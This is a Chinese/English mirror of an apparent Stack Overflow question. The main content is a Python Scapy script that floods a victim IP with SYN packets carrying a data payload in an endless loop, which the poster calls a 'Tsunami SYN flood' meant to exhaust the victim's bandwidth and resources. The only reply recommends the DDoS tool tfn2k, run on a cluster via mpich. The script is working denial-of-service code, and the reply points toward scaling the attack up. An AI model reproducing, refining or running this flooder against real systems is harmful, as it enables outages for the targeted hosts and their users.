繁体   English   中英

用Scapy制作数据包时,我在Wireshark中看不到有效负载

[英]When making a packet with Scapy I can't see my payload in Wireshark

我正在编写一小段代码来为我正在研究的项目创建一个Tsunami SYN洪水数据包。 海啸SYN泛洪不同于正常的SYN泛洪,因为数据包保存数据,这意味着链路带宽以及受害机器上的资源都已耗尽。

我认为我已经成功地向数据包中添加了数据有效负载,当我运行代码时它会显示出来,但是当我在Wireshark上查看数据包时,我似乎看不到数据。 我很可能会错过一些非常明显的东西,但是可以得到一些帮助,这对我来说有点新。

#type sudo, command then follow with victim IP address
import sys
from scapy.all import *
iterationCount = 0
f=IP(dst=sys.argv[1], ttl=50)
t=TCP(sport=RandShort(),dport=[80], window=1000, flags="S")
payload="Here is my payload I want it to be longer than this but this is just for testing purposes"
packet=f/t/payload
print "Flood packet info"
packet.show()
print "sending packets"
while (1 == 1):
    send(packet, verbose=0) #sends packet and supresses 1 packet sent message
    iterationCount = iterationCount + 1
    print(str(iterationCount) + " Packets Sent")

为什么要重新发明轮子? 使用tfnk2(具有数据包大小选项)使用mpich运行tfnk2或构建集群并运行tfnk2

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM